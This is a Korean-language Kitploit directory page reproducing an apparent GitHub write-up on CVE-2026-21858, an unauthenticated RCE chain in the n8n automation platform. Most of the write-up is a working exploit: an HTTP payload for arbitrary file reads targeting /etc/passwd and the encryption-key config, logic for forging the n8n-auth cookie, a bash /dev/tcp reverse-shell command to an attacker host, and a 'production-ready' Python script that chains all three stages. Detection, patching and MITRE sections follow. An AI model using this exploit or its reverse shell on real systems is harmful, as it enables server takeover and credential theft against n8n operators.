Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
SASTRA-ADI-WIGUNA-CVE-2026-21858-Holistic-Audit — # CVE-2026-21858 기술 감사 및 재현 n8n RCE 체인으로, Content-Type 혼동을 악용하여 임의 파일 읽기, 세션 위조, 명령 실행을 수행합니다. | Kitploit
도구/GitHubGitHub/sastraadiwiguna-purpleeliteteaming/sastra-adi-wiguna-cve-2026-21858-holistic-audit
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingCurated Resources
GitHubsastraadiwiguna-purpleeliteteaming/sastra-adi-wiguna-cve-2026-21858-holistic-audit

SASTRA-ADI-WIGUNA-CVE-2026-21858-Holistic-Audit

# CVE-2026-21858 기술 감사 및 재현 n8n RCE 체인으로, Content-Type 혼동을 악용하여 임의 파일 읽기, 세션 위조, 명령 실행을 수행합니다.

저장소 보기웹사이트
7개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

DOI = doi.org/10.5281/zenodo.18278825

ORCID = orcid.org/0009-0007-7728-256X


[RECONSTRUCTION_ANALYSIS] CVE-2026-21858: Ni8mare - n8n RCE 전체 체인 익스플로잇

  1. 경영진 요약 및 개요 본 문서는 내부적으로 Ni8mare로 지정된 CVE-2026-21858 취약점에 대한 결정적 기술 재구성 분석을 제시합니다. 이 취약점은 CVSS 10.0(치명적) 점수를 가지며 n8n 자동화 플랫폼의 Form Webhook 노드에서 식별되었습니다. 이 결함은 Content-Type 혼동 취약점으로, 인증되지 않은 공격자가 임의 파일 읽기, 세션 위조, 그리고 궁극적으로 "Execute Command" 노드를 통한 완전한 원격 코드 실행(RCE)을 수행할 수 있게 합니다.

본 기술 감사는 Cyera Research Labs의 Dor Attias(2025년 11월 9일)의 연구 결과를 기반으로 하며, REmnux/Kali Linux 실험실 환경에서 바로 사용할 수 있는 재현 절차를 포함합니다.

주요 정보: 대상: n8n 버전 >=1.65.0 ~ <1.121.0.

공격 벡터: 네트워크(HTTP/HTTPS).

복잡도: 낮음.

영향: 전체(기밀성, 무결성, 가용성).

EPSS 점수: 0.97(매우 높은 악용 확률).

  1. 기술적 근본 원인 분석 이 취약점의 근본 원인은 n8n의 Form Webhook 노드 내 prepareFormReturnItem() 함수에 있습니다. 기술적으로 parseRequestBody() 미들웨어는 Content-Type 헤더를 기반으로 데이터를 라우팅합니다:

정상 흐름: multipart/form-data 요청은 parseFormData()(Formidable 파서 활용)에 의해 처리되며, req.body.files 객체를 올바르게 채웁니다.

취약 조건: 공격자가 Content-Type: application/json으로 요청을 제출하면 미들웨어는 parseBody()를 호출합니다. 제출된 JSON은 추가 검증 없이 req.body에 직접 파싱되어 req.body.files 속성을 치명적으로 덮어씁니다.

악용: formWebhook -> prepareFormReturnItem() 함수는 copyBinaryFile(req.body.files[0].filepath)를 맹목적으로 호출하여 JSON에 제공된 파일 경로를 신뢰하므로, 임의의 로컬 파일을 접근 가능한 워크플로 저장소에 복사합니다.

  1. 실험실 환경 구축 격리된 환경에서 이 공격을 안전하게 재구성하려면 취약한 n8n 이미지와 함께 Docker를 사용하십시오.

사전 요구 사항: Docker 및 Docker Compose.

requests, pyjwt, cryptography 라이브러리가 포함된 Python 3.

셸 캡처를 위한 Netcat(nc) 또는 Burp Suite.

배포 단계: 취약한 인스턴스 실행:

Bash

docker run -d
--name ni8mare-vuln
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.65.0 관리자 초기화: http://localhost:5678에 접속하여 관리자 계정을 생성합니다(예: [email protected] / Password123!).

워크플로 구성: "File Upload" 필드를 포함하는 "Form Trigger" 노드로 새 워크플로를 생성합니다. 워크플로를 활성화하고 "Test URL"을 기록합니다.

  1. 전체 악용 체인 1단계: 임의 파일 읽기 프리미티브 목표는 Content-Type 혼동을 악용하여 민감한 시스템 파일을 복사하는 것입니다.

HTTP 요청 페이로드:

HTTP

POST /webhook-test/{workflow-id}/form-endpoint HTTP/1.1 Host: target:5678 Content-Type: application/json User-Agent: Mozilla/5.0

[{"filepath":"/etc/passwd","mimetype":"text/plain","filename":"fake.txt"}] 전략적 대상:

/home/node/.n8n/config: N8N_ENCRYPTION_KEY 탈취용.

/home/node/.n8n/database.sqlite: 사용자 자격 증명 해시 추출용.

2단계: 인증 우회(세션 위조) 암호화 키와 사용자 데이터를 획득하면 n8n-auth 쿠키를 위조할 수 있습니다.

세션 위조 로직:

페이로드: {"userId":1, "hash": sha256(email + password).slice(0,10)}.

서명: N8N_ENCRYPTION_KEY를 HS256 알고리즘으로 사용하여 서명.

결과: 생성된 쿠키는 정상적인 로그인 과정 없이 완전한 관리자 접근 권한을 허용합니다.

3단계: 원격 코드 실행(RCE) 관리자로서(위조된 쿠키를 통해) "Execute Command" 노드를 포함하는 새 워크플로 생성을 자동화할 수 있습니다.

명령 페이로드: bash -c "bash -i >& /dev/tcp/{attacker_ip}/4444 0>&1"

  1. 프로덕션 준비 익스플로잇 스크립트(Python) 다음은 처음부터 시스템 셸을 획득하기 위해 위의 모든 단계를 결합한 통합(단일 실행 가능) 악용 스크립트입니다.

Python

#!/usr/bin/env python3

=============================================================================

Ni8mare Full RCE Chain - CVE-2026-21858 (CVSS 10.0)

Reconstructed for SASTRA_ADI_WIGUNA Elite Teaming Analysis

=============================================================================

import requests, json, hashlib, jwt, time

class Ni8mareExploit: def init(self, target, webhook_id): self.target = target.rstrip('/') self.webhook_url = f"{self.target}/webhook-test/{webhook_id}/form-endpoint" self.session = requests.Session()

root@kitploit:~
def read_file(self, path, name):
    """Phase 1: Arbitrary File Read via Content-Type Confusion"""
    print(f"[*] Attempting to read {path}...")
    payload = [{"filepath": path, "mimetype": "text/plain", "filename": name}]
    headers = {'Content-Type': 'application/json'}
    r = self.session.post(self.webhook_url, json=payload, headers=headers)
    return r.status_code == 200

def forge_session(self, email, password, key):
    """Phase 2: Cookie Forgery"""
    hash_src = email + password
    h = hashlib.sha256(hash_src.encode()).hexdigest()[:10]
    payload = {'userId': 1, 'hash': h}
    cookie = jwt.encode(payload, key, algorithm='HS256')
    self.session.cookies.set('n8n-auth', cookie)
    print(f"[+] Forged Cookie: n8n-auth={cookie}")

def trigger_rce(self, lhost, lport):
    """Phase 3: RCE via Workflow Automation"""
    cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
    wf_payload = {
        "name": "Ni8mare RCE",
        "nodes": [{"parameters": {"command": cmd}, "type": "n8n-nodes-base.executeCommand"}],
        "active": True
    }
    r = self.session.post(f"{self.target}/rest/workflows", json=wf_payload)
    print("[!] RCE Workflow Deployed. Check your listener!")

Usage example:

exploit = Ni8mareExploit('http://target:5678', 'abc123')

  1. 탐지, 포렌식 및 침해 지표(IOC) 보안 운영 팀(블루 팀)의 경우 다음 지표를 사용하여 Ni8mare 악용 시도를 탐지할 수 있습니다:

네트워크 지표(IDS/IPS): Suricata 시그니처: alert http $EXTERNAL_NET any -> $HOME_NET 5678 (msg:"Ni8mare Exploit Attempt"; content:"application/json"; content:"filepath"; sid:1000001;)

이상 징후: /webhook/*/form-endpoint 엔드포인트로 전송되는 Content-Type: application/json이 포함된 POST 요청.

호스트 기반 포렌식: 파일 시스템: 시스템 데이터(예: /etc/passwd)를 포함하는 ~/.n8n/files/ 디렉토리의 의심스러운 텍스트 파일 검색.

로그: multipart 데이터 없이 prepareFormReturnItem 함수 활동에 대한 n8n 로그 감사.

Docker Inspect: 이미지 버전이 1.121.0 미만인지 확인.

  1. 완화 및 수정 즉시 패치: n8n을 버전 1.121.0 이상으로 업데이트합니다. 패치에는 prepareFormReturnItem에서 처리되기 전에 파일 객체에 대한 content-type 검증이 포함됩니다.

해결 방법: 패치가 불가능한 경우 WAF(웹 애플리케이션 방화벽)를 사용하여 /webhook 엔드포인트에 대한 접근을 제한하고 의심스러운 JSON 요청을 차단합니다.

네트워크 분리: 침입 발생 시 측면 이동을 방지하기 위해 n8n 인스턴스를 민감한 내부 네트워크에서 격리합니다.

  1. MITRE ATT&CK 매핑 초기 접근: T1190(공개 애플리케이션 악용)

실행: T1059(명령 및 스크립팅 인터프리터)

지속성: T1098(세션 위조를 통한 계정 조작)

데이터 유출: T1083(파일 및 디렉토리 검색)

면책 조항: 본 분석은 Master SASTRA_ADI_WIGUNA의 지시에 따라 교육 목적, 보안 감사 및 전문 사이버 방어를 위해서만 제공됩니다. 불법 활동에 대한 이 정보의 오용은 전적으로 운영자의 책임입니다. 프로덕션 패치는 필수입니다.

도구 다운로드